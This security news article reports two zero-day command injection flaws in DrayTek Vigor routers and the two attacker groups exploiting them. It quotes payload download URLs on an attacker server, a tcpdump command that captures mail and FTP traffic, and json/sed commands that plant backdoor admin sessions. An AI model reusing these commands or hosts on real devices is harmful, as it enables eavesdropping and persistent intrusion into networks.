Categories: Zero-Day

Hackers Exploiting Two 0-Day Bugs in DrayTek Routers & Create A Backdoor in Enterprise Networks

Researchers observed two new hackers groups abusing two DrayTek Routers’ zero-day vulnerabilities to exploit the enterprise network routers and perform a series of attacks.

Recently we have reported a similar attack in which hackers hijack Home Routers & Change The DNS Settings to implant malware via a malicious website.

This is another new wave of attack where attackers using zero-day bugs to perform attacks including eavesdropping on device’s network traffic, running SSH services on high ports, creating system backdoor accounts, and implanting specific malicious Web Session backdoor.

The ongoing zero-day attack was initially disclosed on December 25, 2019, with an indicator of compromise (IOC), and it is highly weaponized in nature.

Both are remote command execution vulnerabilities and the first one affected the keyPath field that used to specify the file suffix of the RSA private key to initiate a login request in the router.

Another RCE Vulnerability in rtick makes command injection possible when the formCaptcha(), a function that used in CAPTCHA image does not check the incoming timestamp from rtick.

According to netlab 360 reports, “The two 0-day vulnerability command injection points are keyPath and rtick, located in the /www/cgi-bin/mainfunction.cgi, and the corresponding Web Server program is /usr/sbin/lighttpd.”

Hackers Group 0-Day Attack Activities

A first attacker group using the keyPath  RCE vulnerability to download and execute the script ( http://103.82.143.51:58172/vig/tcpst1).

Later it downloads another following script,

http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1

In this case, attackers using the script ” /etc/mailsend.sh “ to eavesdrop on all network interfaces where the DrayTek Vigor network deployed and listen on the ports 21, 25, 143, and 110.

During the attacks, actors are running the following tcpdump command that running in the background.

 /usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap  

Another group of an attacker using the rtick command injection vulnerability to create 2 sets of Web Session backdoors that let DrayTek Vigor network device never logs out unless the device is rebooted.

Later they create an SSH backdoor on TCP / 22335 and TCP / 32459

json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json

DrayTek fixed this bug on February 10, 2020, and issued a security update and released the latest firmware program 1.5.1.

You can share your thoughts about the article via  Twitter,  Facebook and Linkedin page also get the Daily cyber security & hacking news updates.

Balaji

BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

Recent Posts

GitLab Patches HTML Injection Flaw Leads to XSS Attacks

GitLab has announced the release of critical security updates for its Community Edition (CE) and…

12 hours ago

Xerox Printers Vulnerable to Remote Code Execution Attacks

Multiple Xerox printer models, including EC80xx, AltaLink, VersaLink, and WorkCentre, have been identified as vulnerable…

14 hours ago

Cisco ASA Devices Vulnerable to SSH Remote Command Injection Flaw

Cisco has issued a critical security advisory regarding a vulnerability in its Adaptive Security Appliance…

15 hours ago

Google Patches Multiple Chrome Security Vulnerabilities

Google has released several security patches for its Chrome browser, addressing critical vulnerabilities that malicious…

16 hours ago

Grayscale Investments Data Breach Exposes 693K User Records Reportedly Affected

Grayscale Investments, a prominent crypto asset manager, has reportedly suffered a data breach affecting 693,635…

1 day ago

Threat Actors Allegedly Selling Database of 1,000 NHS Email Accounts

A database containing over 1,000 email accounts associated with the National Health Service (NHS) has…

2 days ago